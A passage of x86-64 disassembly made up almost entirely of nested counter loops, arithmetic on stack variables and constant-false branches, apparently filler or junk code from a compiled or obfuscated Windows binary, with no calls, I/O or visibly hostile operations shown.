mov dword [rsp + 0xdc0], 0
jmp 0x14010a968
mov eax, dword [rsp + 0xdc0]
inc eax
mov dword [rsp + 0xdc0], eax
cmp dword [rsp + 0xdc0], 3
jge 0x14010aa43
mov eax, dword [rsp + 0xdc0]
inc eax
mov dword [rsp + 0x808], eax
mov eax, dword [rsp + 0x808]
inc eax
mov dword [rsp + 0x808], eax
cmp dword [rsp + 0x808], 4
jne 0x14010aa30
mov dword [rsp + 0x804], 0xd
mov dword [rsp + 0xdc4], 0
jmp 0x14010a9cc
mov eax, dword [rsp + 0xdc4]
inc eax
mov dword [rsp + 0xdc4], eax
cmp dword [rsp + 0xdc4], 4
jge 0x14010aa15
mov eax, dword [rsp + 0xdc4]
mov ecx, dword [rsp + 0x804]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x804], eax
mov eax, dword [rsp + 0x804]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010aa13
imul eax, dword [rsp + 0x804], 3
mov dword [rsp + 0x804], eax
jmp 0x14010a9bc
mov eax, dword [rsp + 0x808]
imul eax, dword [rsp + 0x1640]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c18], eax
cmp dword [rsp + 0x808], 6
jl 0x14010a986
jmp 0x14010a958
cmp dword [rsp + 0x1640], 0xa
jle 0x14010aaf6
mov eax, dword [rsp + 0x1640]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1644], eax
mov dword [rsp + 0x80c], 0xd
mov dword [rsp + 0xdc8], 0
jmp 0x14010aa8f
mov eax, dword [rsp + 0xdc8]
inc eax
mov dword [rsp + 0xdc8], eax
cmp dword [rsp + 0xdc8], 4
jge 0x14010aad8
mov eax, dword [rsp + 0xdc8]
mov ecx, dword [rsp + 0x80c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80c], eax
mov eax, dword [rsp + 0x80c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010aad6
imul eax, dword [rsp + 0x80c], 3
mov dword [rsp + 0x80c], eax
jmp 0x14010aa7f
mov eax, dword [rsp + 0x1644]
dec eax
mov dword [rsp + 0x1644], eax
cmp dword [rsp + 0x1644], 0
jg 0x14010aa67
jmp 0x14010a922
cmp dword [rsp + 0x810], 0x21
jl 0x14010a6f1
jmp 0x14010a6c2
cmp dword [rsp + 0x1648], 0x32
jle 0x14010ad38
mov eax, dword [rsp + 0x1648]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1658], eax
mov dword [rsp + 0x164c], 0
jmp 0x14010ab50
mov eax, dword [rsp + 0x164c]
inc eax
mov dword [rsp + 0x164c], eax
cmp dword [rsp + 0x164c], 5
jge 0x14010ad19
mov dword [rsp + 0x1650], 0x11
mov dword [rsp + 0xdcc], 0
jmp 0x14010ab86
mov eax, dword [rsp + 0xdcc]
inc eax
mov dword [rsp + 0xdcc], eax
cmp dword [rsp + 0xdcc], 3
jge 0x14010ac61
mov eax, dword [rsp + 0xdcc]
inc eax
mov dword [rsp + 0x818], eax
mov eax, dword [rsp + 0x818]
inc eax
mov dword [rsp + 0x818], eax
cmp dword [rsp + 0x818], 4
jne 0x14010ac4e
mov dword [rsp + 0x814], 0xd
mov dword [rsp + 0xdd0], 0
jmp 0x14010abea
mov eax, dword [rsp + 0xdd0]
inc eax
mov dword [rsp + 0xdd0], eax
cmp dword [rsp + 0xdd0], 4
jge 0x14010ac33
mov eax, dword [rsp + 0xdd0]
mov ecx, dword [rsp + 0x814]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x814], eax
mov eax, dword [rsp + 0x814]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010ac31
imul eax, dword [rsp + 0x814], 3
mov dword [rsp + 0x814], eax
jmp 0x14010abda
mov eax, dword [rsp + 0x818]
imul eax, dword [rsp + 0x1650]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c1c], eax
cmp dword [rsp + 0x818], 6
jl 0x14010aba4
jmp 0x14010ab76
cmp dword [rsp + 0x1650], 0xa
jle 0x14010ad14
mov eax, dword [rsp + 0x1650]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1654], eax
mov dword [rsp + 0x81c], 0xd
mov dword [rsp + 0xdd4], 0
jmp 0x14010acad
mov eax, dword [rsp + 0xdd4]
inc eax
mov dword [rsp + 0xdd4], eax
cmp dword [rsp + 0xdd4], 4
jge 0x14010acf6
mov eax, dword [rsp + 0xdd4]
mov ecx, dword [rsp + 0x81c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x81c], eax
mov eax, dword [rsp + 0x81c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010acf4
imul eax, dword [rsp + 0x81c], 3
mov dword [rsp + 0x81c], eax
jmp 0x14010ac9d
mov eax, dword [rsp + 0x1654]
dec eax
mov dword [rsp + 0x1654], eax
cmp dword [rsp + 0x1654], 0
jg 0x14010ac85
jmp 0x14010ab40
mov eax, dword [rsp + 0x1658]
sub eax, 5
mov dword [rsp + 0x1658], eax
cmp dword [rsp + 0x1658], 0
jg 0x14010ab33
mov dword [rsp + 0x165c], 0
jmp 0x14010ad55
mov eax, dword [rsp + 0x165c]
inc eax
mov dword [rsp + 0x165c], eax
cmp dword [rsp + 0x165c], 5
jge 0x14010af1e
mov dword [rsp + 0x1660], 0x11
mov dword [rsp + 0xdd8], 0
jmp 0x14010ad8b
mov eax, dword [rsp + 0xdd8]
inc eax
mov dword [rsp + 0xdd8], eax
cmp dword [rsp + 0xdd8], 3
jge 0x14010ae66
mov eax, dword [rsp + 0xdd8]
inc eax
mov dword [rsp + 0x824], eax
mov eax, dword [rsp + 0x824]
inc eax
mov dword [rsp + 0x824], eax
cmp dword [rsp + 0x824], 4
jne 0x14010ae53
mov dword [rsp + 0x820], 0xd
mov dword [rsp + 0xddc], 0
jmp 0x14010adef
mov eax, dword [rsp + 0xddc]
inc eax
mov dword [rsp + 0xddc], eax
cmp dword [rsp + 0xddc], 4
jge 0x14010ae38
mov eax, dword [rsp + 0xddc]
mov ecx, dword [rsp + 0x820]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x820], eax
mov eax, dword [rsp + 0x820]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010ae36
imul eax, dword [rsp + 0x820], 3
mov dword [rsp + 0x820], eax
jmp 0x14010addf
mov eax, dword [rsp + 0x824]
imul eax, dword [rsp + 0x1660]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c20], eax
cmp dword [rsp + 0x824], 6
jl 0x14010ada9
jmp 0x14010ad7b
cmp dword [rsp + 0x1660], 0xa
jle 0x14010af19
mov eax, dword [rsp + 0x1660]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1664], eax
mov dword [rsp + 0x828], 0xd
mov dword [rsp + 0xde0], 0
jmp 0x14010aeb2
mov eax, dword [rsp + 0xde0]
inc eax
mov dword [rsp + 0xde0], eax
cmp dword [rsp + 0xde0], 4
jge 0x14010aefb
mov eax, dword [rsp + 0xde0]
mov ecx, dword [rsp + 0x828]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x828], eax
mov eax, dword [rsp + 0x828]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010aef9
imul eax, dword [rsp + 0x828], 3
mov dword [rsp + 0x828], eax
jmp 0x14010aea2
mov eax, dword [rsp + 0x1664]
dec eax
mov dword [rsp + 0x1664], eax
cmp dword [rsp + 0x1664], 0
jg 0x14010ae8a
jmp 0x14010ad45
jmp 0x14010a68c
xor eax, eax
cmp eax, 1
je 0x14010bce7
xor eax, eax
test eax, eax
je 0x14010b611
mov dword [rsp + 0x1668], 0
jmp 0x14010af55
mov eax, dword [rsp + 0x1668]
inc eax
mov dword [rsp + 0x1668], eax
cmp dword [rsp + 0x1668], 5
jge 0x14010b60c
mov dword [rsp + 0x1684], 0x33
mov dword [rsp + 0xde4], 0
jmp 0x14010af8b
mov eax, dword [rsp + 0xde4]
inc eax
mov dword [rsp + 0xde4], eax
cmp dword [rsp + 0xde4], 6
jge 0x14010b2dd
mov eax, dword [rsp + 0xde4]
add eax, 2
mov dword [rsp + 0x844], eax
mov eax, dword [rsp + 0x844]
add eax, 3
mov dword [rsp + 0x844], eax
cmp dword [rsp + 0x844], 0xb
jne 0x14010b2ca
mov dword [rsp + 0x166c], 0
jmp 0x14010afe6
mov eax, dword [rsp + 0x166c]
inc eax
mov dword [rsp + 0x166c], eax
cmp dword [rsp + 0x166c], 5
jge 0x14010b13c
mov dword [rsp + 0x1670], 7
mov dword [rsp + 0xde8], 0
jmp 0x14010b01c
mov eax, dword [rsp + 0xde8]
inc eax
mov dword [rsp + 0xde8], eax
cmp dword [rsp + 0xde8], 2
jge 0x14010b0bf
mov eax, dword [rsp + 0xde8]
inc eax
mov dword [rsp + 0x830], eax
mov eax, dword [rsp + 0x830]
inc eax
mov dword [rsp + 0x830], eax
cmp dword [rsp + 0x830], 2
jne 0x14010b0b0
mov dword [rsp + 0x82c], 0x15
mov eax, dword [rsp + 0x82c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b084
mov eax, dword [rsp + 0x82c]
shl eax, 1
mov dword [rsp + 0x82c], eax
jmp 0x14010b095
mov eax, dword [rsp + 0x82c]
add eax, 3
mov dword [rsp + 0x82c], eax
mov eax, dword [rsp + 0x830]
imul eax, dword [rsp + 0x1670]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c24], eax
cmp dword [rsp + 0x830], 3
jl 0x14010b03a
jmp 0x14010b00c
cmp dword [rsp + 0x1670], 5
jle 0x14010b137
mov eax, dword [rsp + 0x1670]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1674], eax
mov dword [rsp + 0x834], 0x15
mov eax, dword [rsp + 0x834]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b10c
mov eax, dword [rsp + 0x834]
shl eax, 1
mov dword [rsp + 0x834], eax
jmp 0x14010b11d
mov eax, dword [rsp + 0x834]
add eax, 3
mov dword [rsp + 0x834], eax
mov eax, dword [rsp + 0x1674]
dec eax
mov dword [rsp + 0x1674], eax
cmp dword [rsp + 0x1674], 0
jg 0x14010b0dc
jmp 0x14010afd6
mov eax, dword [rsp + 0x844]
imul eax, dword [rsp + 0x1684]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c28], eax
mov dword [rsp + 0x1678], 0
jmp 0x14010b174
mov eax, dword [rsp + 0x1678]
inc eax
mov dword [rsp + 0x1678], eax
cmp dword [rsp + 0x1678], 5
jge 0x14010b2ca
mov dword [rsp + 0x167c], 7
mov dword [rsp + 0xdec], 0
jmp 0x14010b1aa
mov eax, dword [rsp + 0xdec]
inc eax
mov dword [rsp + 0xdec], eax
cmp dword [rsp + 0xdec], 2
jge 0x14010b24d
mov eax, dword [rsp + 0xdec]
inc eax
mov dword [rsp + 0x83c], eax
mov eax, dword [rsp + 0x83c]
inc eax
mov dword [rsp + 0x83c], eax
cmp dword [rsp + 0x83c], 2
jne 0x14010b23e
mov dword [rsp + 0x838], 0x15
mov eax, dword [rsp + 0x838]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b212
mov eax, dword [rsp + 0x838]
shl eax, 1
mov dword [rsp + 0x838], eax
jmp 0x14010b223
mov eax, dword [rsp + 0x838]
add eax, 3
mov dword [rsp + 0x838], eax
mov eax, dword [rsp + 0x83c]
imul eax, dword [rsp + 0x167c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c2c], eax
cmp dword [rsp + 0x83c], 3
jl 0x14010b1c8
jmp 0x14010b19a
cmp dword [rsp + 0x167c], 5
jle 0x14010b2c5
mov eax, dword [rsp + 0x167c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1680], eax
mov dword [rsp + 0x840], 0x15
mov eax, dword [rsp + 0x840]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b29a
mov eax, dword [rsp + 0x840]
shl eax, 1
mov dword [rsp + 0x840], eax
jmp 0x14010b2ab
mov eax, dword [rsp + 0x840]
add eax, 3
mov dword [rsp + 0x840], eax
mov eax, dword [rsp + 0x1680]
dec eax
mov dword [rsp + 0x1680], eax
cmp dword [rsp + 0x1680], 0
jg 0x14010b26a
jmp 0x14010b164
cmp dword [rsp + 0x844], 0xf
jl 0x14010afaa
jmp 0x14010af7b
cmp dword [rsp + 0x1684], 0x19
jle 0x14010b494
mov eax, dword [rsp + 0x1684]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1694], eax
mov dword [rsp + 0x1688], 0
jmp 0x14010b31f
mov eax, dword [rsp + 0x1688]
inc eax
mov dword [rsp + 0x1688], eax
cmp dword [rsp + 0x1688], 5
jge 0x14010b475
mov dword [rsp + 0x168c], 7
mov dword [rsp + 0xdf0], 0
jmp 0x14010b355
mov eax, dword [rsp + 0xdf0]
inc eax
mov dword [rsp + 0xdf0], eax
cmp dword [rsp + 0xdf0], 2
jge 0x14010b3f8
mov eax, dword [rsp + 0xdf0]
inc eax
mov dword [rsp + 0x84c], eax
mov eax, dword [rsp + 0x84c]
inc eax
mov dword [rsp + 0x84c], eax
cmp dword [rsp + 0x84c], 2
jne 0x14010b3e9
mov dword [rsp + 0x848], 0x15
mov eax, dword [rsp + 0x848]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b3bd
mov eax, dword [rsp + 0x848]
shl eax, 1
mov dword [rsp + 0x848], eax
jmp 0x14010b3ce
mov eax, dword [rsp + 0x848]
add eax, 3
mov dword [rsp + 0x848], eax
mov eax, dword [rsp + 0x84c]
imul eax, dword [rsp + 0x168c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c30], eax
cmp dword [rsp + 0x84c], 3
jl 0x14010b373
jmp 0x14010b345
cmp dword [rsp + 0x168c], 5
jle 0x14010b470
mov eax, dword [rsp + 0x168c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1690], eax
mov dword [rsp + 0x850], 0x15
mov eax, dword [rsp + 0x850]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b445
mov eax, dword [rsp + 0x850]
shl eax, 1
mov dword [rsp + 0x850], eax
jmp 0x14010b456
mov eax, dword [rsp + 0x850]
add eax, 3
mov dword [rsp + 0x850], eax
mov eax, dword [rsp + 0x1690]
dec eax
mov dword [rsp + 0x1690], eax
cmp dword [rsp + 0x1690], 0
jg 0x14010b415
jmp 0x14010b30f
mov eax, dword [rsp + 0x1694]
sub eax, 2
mov dword [rsp + 0x1694], eax
cmp dword [rsp + 0x1694], 0
jg 0x14010b302
mov dword [rsp + 0x1698], 0
jmp 0x14010b4b1
mov eax, dword [rsp + 0x1698]
inc eax
mov dword [rsp + 0x1698], eax
cmp dword [rsp + 0x1698], 5
jge 0x14010b607
mov dword [rsp + 0x169c], 7
mov dword [rsp + 0xdf4], 0
jmp 0x14010b4e7
mov eax, dword [rsp + 0xdf4]
inc eax
mov dword [rsp + 0xdf4], eax
cmp dword [rsp + 0xdf4], 2
jge 0x14010b58a
mov eax, dword [rsp + 0xdf4]
inc eax
mov dword [rsp + 0x858], eax
mov eax, dword [rsp + 0x858]
inc eax
mov dword [rsp + 0x858], eax
cmp dword [rsp + 0x858], 2
jne 0x14010b57b
mov dword [rsp + 0x854], 0x15
mov eax, dword [rsp + 0x854]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b54f
mov eax, dword [rsp + 0x854]
shl eax, 1
mov dword [rsp + 0x854], eax
jmp 0x14010b560
mov eax, dword [rsp + 0x854]
add eax, 3
mov dword [rsp + 0x854], eax
mov eax, dword [rsp + 0x858]
imul eax, dword [rsp + 0x169c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c34], eax
cmp dword [rsp + 0x858], 3
jl 0x14010b505
jmp 0x14010b4d7
cmp dword [rsp + 0x169c], 5
jle 0x14010b602
mov eax, dword [rsp + 0x169c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x16a0], eax
mov dword [rsp + 0x85c], 0x15
mov eax, dword [rsp + 0x85c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b5d7
mov eax, dword [rsp + 0x85c]
shl eax, 1
mov dword [rsp + 0x85c], eax
jmp 0x14010b5e8
mov eax, dword [rsp + 0x85c]
add eax, 3
mov dword [rsp + 0x85c], eax
mov eax, dword [rsp + 0x16a0]
dec eax
mov dword [rsp + 0x16a0], eax
cmp dword [rsp + 0x16a0], 0
jg 0x14010b5a7
jmp 0x14010b4a1
jmp 0x14010af45
jmp 0x14010bce7
mov dword [rsp + 0x16a4], 0
jmp 0x14010b62e
mov eax, dword [rsp + 0x16a4]
inc eax
mov dword [rsp + 0x16a4], eax
cmp dword [rsp + 0x16a4], 5
jge 0x14010bce7
mov dword [rsp + 0x16c0], 0x44
mov dword [rsp + 0xdf8], 0
jmp 0x14010b664
mov eax, dword [rsp + 0xdf8]
inc eax
mov dword [rsp + 0xdf8], eax
cmp dword [rsp + 0xdf8], 7
jge 0x14010b9b9
mov eax, dword [rsp + 0xdf8]
add eax, 4
mov dword [rsp + 0x878], eax
mov eax, dword [rsp + 0x878]
add eax, 4
mov dword [rsp + 0x878], eax
cmp dword [rsp + 0x878], 0x10
jne 0x14010b9a6
mov dword [rsp + 0x16a8], 0
jmp 0x14010b6bf
mov eax, dword [rsp + 0x16a8]
inc eax
mov dword [rsp + 0x16a8], eax
cmp dword [rsp + 0x16a8], 5
jge 0x14010b815
mov dword [rsp + 0x16ac], 7
mov dword [rsp + 0xdfc], 0
jmp 0x14010b6f5
mov eax, dword [rsp + 0xdfc]
inc eax
mov dword [rsp + 0xdfc], eax
cmp dword [rsp + 0xdfc], 2
jge 0x14010b798
mov eax, dword [rsp + 0xdfc]
inc eax
mov dword [rsp + 0x864], eax
mov eax, dword [rsp + 0x864]
inc eax
mov dword [rsp + 0x864], eax
cmp dword [rsp + 0x864], 2
jne 0x14010b789
mov dword [rsp + 0x860], 0x15
mov eax, dword [rsp + 0x860]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b75d
mov eax, dword [rsp + 0x860]
shl eax, 1
mov dword [rsp + 0x860], eax
jmp 0x14010b76e
mov eax, dword [rsp + 0x860]
add eax, 3
mov dword [rsp + 0x860], eax
mov eax, dword [rsp + 0x864]
imul eax, dword [rsp + 0x16ac]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c38], eax
cmp dword [rsp + 0x864], 3
jl 0x14010b713
jmp 0x14010b6e5
cmp dword [rsp + 0x16ac], 5
jle 0x14010b810
mov eax, dword [rsp + 0x16ac]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x16b0], eax
mov dword [rsp + 0x868], 0x15
mov eax, dword [rsp + 0x868]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b7e5
mov eax, dword [rsp + 0x868]
shl eax, 1
mov dword [rsp + 0x868], eax
jmp 0x14010b7f6
mov eax, dword [rsp + 0x868]
add eax, 3
mov dword [rsp + 0x868], eax
mov eax, dword [rsp + 0x16b0]
dec eax
mov dword [rsp + 0x16b0], eax
cmp dword [rsp + 0x16b0], 0
jg 0x14010b7b5
jmp 0x14010b6af
mov eax, dword [rsp + 0x878]
imul eax, dword [rsp + 0x16c0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c3c], eax
mov dword [rsp + 0x16b4], 0
jmp 0x14010b850
mov eax, dword [rsp + 0x16b4]
inc eax
mov dword [rsp + 0x16b4], eax
cmp dword [rsp + 0x16b4], 5
jge 0x14010b9a6
mov dword [rsp + 0x16b8], 7
mov dword [rsp + 0xe00], 0
jmp 0x14010b886
mov eax, dword [rsp + 0xe00]
inc eax
mov dword [rsp + 0xe00], eax
cmp dword [rsp + 0xe00], 2
jge 0x14010b929
mov eax, dword [rsp + 0xe00]
inc eax
mov dword [rsp + 0x870], eax
mov eax, dword [rsp + 0x870]
inc eax
mov dword [rsp + 0x870], eax
cmp dword [rsp + 0x870], 2
jne 0x14010b91a
mov dword [rsp + 0x86c], 0x15
mov eax, dword [rsp + 0x86c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b8ee
mov eax, dword [rsp + 0x86c]
shl eax, 1
mov dword [rsp + 0x86c], eax
jmp 0x14010b8ff
mov eax, dword [rsp + 0x86c]
add eax, 3
mov dword [rsp + 0x86c], eax
mov eax, dword [rsp + 0x870]
imul eax, dword [rsp + 0x16b8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c40], eax
cmp dword [rsp + 0x870], 3
jl 0x14010b8a4
jmp 0x14010b876
cmp dword [rsp + 0x16b8], 5
jle 0x14010b9a1
mov eax, dword [rsp + 0x16b8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x16bc], eax
mov dword [rsp + 0x874], 0x15
mov eax, dword [rsp + 0x874]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010b976
mov eax, dword [rsp + 0x874]
shl eax, 1
mov dword [rsp + 0x874], eax
jmp 0x14010b987
mov eax, dword [rsp + 0x874]
add eax, 3
mov dword [rsp + 0x874], eax
mov eax, dword [rsp + 0x16bc]
dec eax
mov dword [rsp + 0x16bc], eax
cmp dword [rsp + 0x16bc], 0
jg 0x14010b946
jmp 0x14010b840
cmp dword [rsp + 0x878], 0x14
jl 0x14010b683
jmp 0x14010b654
cmp dword [rsp + 0x16c0], 0x28
jle 0x14010bb6f
mov eax, dword [rsp + 0x16c0]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x16d0], eax
mov dword [rsp + 0x16c4], 0
jmp 0x14010b9fa
mov eax, dword [rsp + 0x16c4]
inc eax
mov dword [rsp + 0x16c4], eax
cmp dword [rsp + 0x16c4], 5
jge 0x14010bb50
mov dword [rsp + 0x16c8], 7
mov dword [rsp + 0xe04], 0
jmp 0x14010ba30
mov eax, dword [rsp + 0xe04]
inc eax
mov dword [rsp + 0xe04], eax
cmp dword [rsp + 0xe04], 2
jge 0x14010bad3
mov eax, dword [rsp + 0xe04]
inc eax
mov dword [rsp + 0x880], eax
mov eax, dword [rsp + 0x880]
inc eax
mov dword [rsp + 0x880], eax
cmp dword [rsp + 0x880], 2
jne 0x14010bac4
mov dword [rsp + 0x87c], 0x15
mov eax, dword [rsp + 0x87c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010ba98
mov eax, dword [rsp + 0x87c]
shl eax, 1
mov dword [rsp + 0x87c], eax
jmp 0x14010baa9
mov eax, dword [rsp + 0x87c]
add eax, 3
mov dword [rsp + 0x87c], eax
mov eax, dword [rsp + 0x880]
imul eax, dword [rsp + 0x16c8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c44], eax
cmp dword [rsp + 0x880], 3
jl 0x14010ba4e
jmp 0x14010ba20
cmp dword [rsp + 0x16c8], 5
jle 0x14010bb4b
mov eax, dword [rsp + 0x16c8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x16cc], eax
mov dword [rsp + 0x884], 0x15
mov eax, dword [rsp + 0x884]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010bb20
mov eax, dword [rsp + 0x884]
shl eax, 1
mov dword [rsp + 0x884], eax
jmp 0x14010bb31
mov eax, dword [rsp + 0x884]
add eax, 3
mov dword [rsp + 0x884], eax
mov eax, dword [rsp + 0x16cc]
dec eax
mov dword [rsp + 0x16cc], eax
cmp dword [rsp + 0x16cc], 0
jg 0x14010baf0
jmp 0x14010b9ea
mov eax, dword [rsp + 0x16d0]
sub eax, 3
mov dword [rsp + 0x16d0], eax
cmp dword [rsp + 0x16d0], 0
jg 0x14010b9dd
mov dword [rsp + 0x16d4], 0
jmp 0x14010bb8c
mov eax, dword [rsp + 0x16d4]
inc eax
mov dword [rsp + 0x16d4], eax
cmp dword [rsp + 0x16d4], 5
jge 0x14010bce2
mov dword [rsp + 0x16d8], 7
mov dword [rsp + 0xe08], 0
jmp 0x14010bbc2
mov eax, dword [rsp + 0xe08]
inc eax
mov dword [rsp + 0xe08], eax
cmp dword [rsp + 0xe08], 2
jge 0x14010bc65
mov eax, dword [rsp + 0xe08]
inc eax
mov dword [rsp + 0x88c], eax
mov eax, dword [rsp + 0x88c]
inc eax
mov dword [rsp + 0x88c], eax
cmp dword [rsp + 0x88c], 2
jne 0x14010bc56
mov dword [rsp + 0x888], 0x15
mov eax, dword [rsp + 0x888]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010bc2a
mov eax, dword [rsp + 0x888]
shl eax, 1
mov dword [rsp + 0x888], eax
jmp 0x14010bc3b
mov eax, dword [rsp + 0x888]
add eax, 3
mov dword [rsp + 0x888], eax
mov eax, dword [rsp + 0x88c]
imul eax, dword [rsp + 0x16d8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c48], eax
cmp dword [rsp + 0x88c], 3
jl 0x14010bbe0
jmp 0x14010bbb2
cmp dword [rsp + 0x16d8], 5
jle 0x14010bcdd
mov eax, dword [rsp + 0x16d8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x16dc], eax
mov dword [rsp + 0x890], 0x15
mov eax, dword [rsp + 0x890]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010bcb2
mov eax, dword [rsp + 0x890]
shl eax, 1
mov dword [rsp + 0x890], eax
jmp 0x14010bcc3
mov eax, dword [rsp + 0x890]
add eax, 3
mov dword [rsp + 0x890], eax
mov eax, dword [rsp + 0x16dc]
dec eax
mov dword [rsp + 0x16dc], eax
cmp dword [rsp + 0x16dc], 0
jg 0x14010bc82
jmp 0x14010bb7c
jmp 0x14010b61e
xor eax, eax
cmp eax, 1
je 0x14010c669
xor eax, eax
test eax, eax
je 0x14010c466
mov dword [rsp + 0x16e0], 0
jmp 0x14010bd19
mov eax, dword [rsp + 0x16e0]
inc eax
mov dword [rsp + 0x16e0], eax
cmp dword [rsp + 0x16e0], 5
jge 0x14010c461
mov dword [rsp + 0x8c0], 0x4d
mov dword [rsp + 0xe0c], 0
jmp 0x14010bd4f
mov eax, dword [rsp + 0xe0c]
inc eax
mov dword [rsp + 0xe0c], eax
cmp dword [rsp + 0xe0c], 8
jge 0x14010bf7f
mov eax, dword [rsp + 0xe0c]
add eax, 6
mov dword [rsp + 0x8a4], eax
mov eax, dword [rsp + 0x8a4]
add eax, 5
mov dword [rsp + 0x8a4], eax
cmp dword [rsp + 0x8a4], 0x12
jne 0x14010bf6c
mov dword [rsp + 0x894], 0x2a
mov eax, dword [rsp + 0x894]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010bdbd
mov eax, dword [rsp + 0x894]
shl eax, 1
mov dword [rsp + 0x894], eax
jmp 0x14010bdce
mov eax, dword [rsp + 0x894]
add eax, 3
mov dword [rsp + 0x894], eax
mov eax, dword [rsp + 0x8a4]
imul eax, dword [rsp + 0x8c0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c4c], eax
mov dword [rsp + 0x16e4], 0
jmp 0x14010be09
mov eax, dword [rsp + 0x16e4]
inc eax
mov dword [rsp + 0x16e4], eax
cmp dword [rsp + 0x16e4], 5
jge 0x14010bf6c
mov dword [rsp + 0x16e8], 0x4d
mov dword [rsp + 0xe10], 0
jmp 0x14010be3f
mov eax, dword [rsp + 0xe10]
inc eax
mov dword [rsp + 0xe10], eax
cmp dword [rsp + 0xe10], 6
jge 0x14010beeb
mov eax, dword [rsp + 0xe10]
add eax, 3
mov dword [rsp + 0x89c], eax
mov eax, dword [rsp + 0x89c]
add eax, 2
mov dword [rsp + 0x89c], eax
cmp dword [rsp + 0x89c], 0xb
jne 0x14010bed8
mov dword [rsp + 0x898], 0x2a
mov eax, dword [rsp + 0x898]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010bea9
mov eax, dword [rsp + 0x898]
shl eax, 1
mov dword [rsp + 0x898], eax
jmp 0x14010beba
mov eax, dword [rsp + 0x898]
add eax, 3
mov dword [rsp + 0x898], eax
mov eax, dword [rsp + 0x89c]
imul eax, dword [rsp + 0x16e8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c50], eax
cmp dword [rsp + 0x89c], 0x12
jl 0x14010be5e
jmp 0x14010be2f
cmp dword [rsp + 0x16e8], 0x23
jle 0x14010bf67
mov eax, dword [rsp + 0x16e8]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x16ec], eax
mov dword [rsp + 0x8a0], 0x2a
mov eax, dword [rsp + 0x8a0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010bf3b
mov eax, dword [rsp + 0x8a0]
shl eax, 1
mov dword [rsp + 0x8a0], eax
jmp 0x14010bf4c
mov eax, dword [rsp + 0x8a0]
add eax, 3
mov dword [rsp + 0x8a0], eax
mov eax, dword [rsp + 0x16ec]
sub eax, 4
mov dword [rsp + 0x16ec], eax
cmp dword [rsp + 0x16ec], 0
jg 0x14010bf0b
jmp 0x14010bdf9
cmp dword [rsp + 0x8a4], 0x1e
jl 0x14010bd6e
jmp 0x14010bd3f
cmp dword [rsp + 0x8c0], 0x23
jle 0x14010c20f
mov eax, dword [rsp + 0x8c0]
cdq
mov ecx, 5
idiv ecx
